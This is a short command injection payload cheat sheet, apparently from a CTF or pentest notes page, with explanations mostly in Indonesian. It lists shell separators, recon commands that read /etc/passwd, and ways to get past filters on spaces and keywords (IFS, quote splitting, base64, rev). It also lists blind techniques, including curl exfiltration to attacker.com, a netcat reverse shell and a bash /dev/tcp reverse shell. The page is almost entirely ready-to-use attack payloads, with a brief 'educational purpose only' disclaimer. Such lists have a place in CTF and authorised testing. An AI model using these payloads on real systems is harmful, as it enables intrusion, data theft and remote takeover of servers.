Skip to content

Command Injection

Digunakan untuk menyambungkan perintah kita dengan perintah asli server.

SeparatorDescriptionExample
;Command chaining (Linux/Windows)ping 127.0.0.1 ; whoami
&Run in background (Linux/Windows)ping 127.0.0.1 & whoami
&&Run only if first succeeds (AND)ping 127.0.0.1 && whoami
``Pipe output to next command
``
$Command substitutionecho $(whoami)
`Command substitution (backticks)echo `whoami`
\n (0x0a)Newline character%0a whoami
PurposeCommand
Check userwhoami, id
List filesls -la
Read filecat /etc/passwd, head /etc/passwd
Network Infoifconfig, ip a, netstat -an
System Infouname -a, ps -ef
Find flagsfind / -name "flag.txt", grep -r "flag" /var/www

Jika spasi diblokir, gunakan karakter lain sebagai pemisah.

TechniqueExample
Input Redirectioncat</etc/passwd
IFS Variable (Internal Field Separator)cat${IFS}/etc/passwd
Brace Expansion{cat,/etc/passwd}
Tab Character%09

Jika kata kunci seperti “cat” atau “flag” diblokir.

TechniqueExampleExplanation
Concatenationa=c;b=at;$a$b /etc/passwdGabung variabel
Single Quotesc'a't /etc/passwdShell mengabaikan quote kosong
Double Quotesc"a"t /etc/passwdShell mengabaikan quote kosong
Backslashc\at /etc/passwdEscape character
Wildcard/bin/c?? /etc/passwdMencocokkan “cat”
Base64`echo “Y2F0IC9ldGMvcGFzc3dk”base64 -d
Rev`echo “dwssap/cte/ tac”rev

Jika tidak ada output yang muncul (silent), gunakan time-based atau out-of-band (OOB).

TypePayload
Time Basedping -c 5 127.0.0.1 (Tunggu 5 detik)
Time Based (Sleep)sleep 5
Data Exfiltration (OOB)curl http://attacker.com/$(whoami)
Netcat Reverse Shellnc -e /bin/sh attacker.com 4444
Bash Reverse Shellbash -i >& /dev/tcp/attacker.com/4444 0>&1

⚠️ Educational Purpose Only. Use these payloads only on systems you own or have explicit permission to test.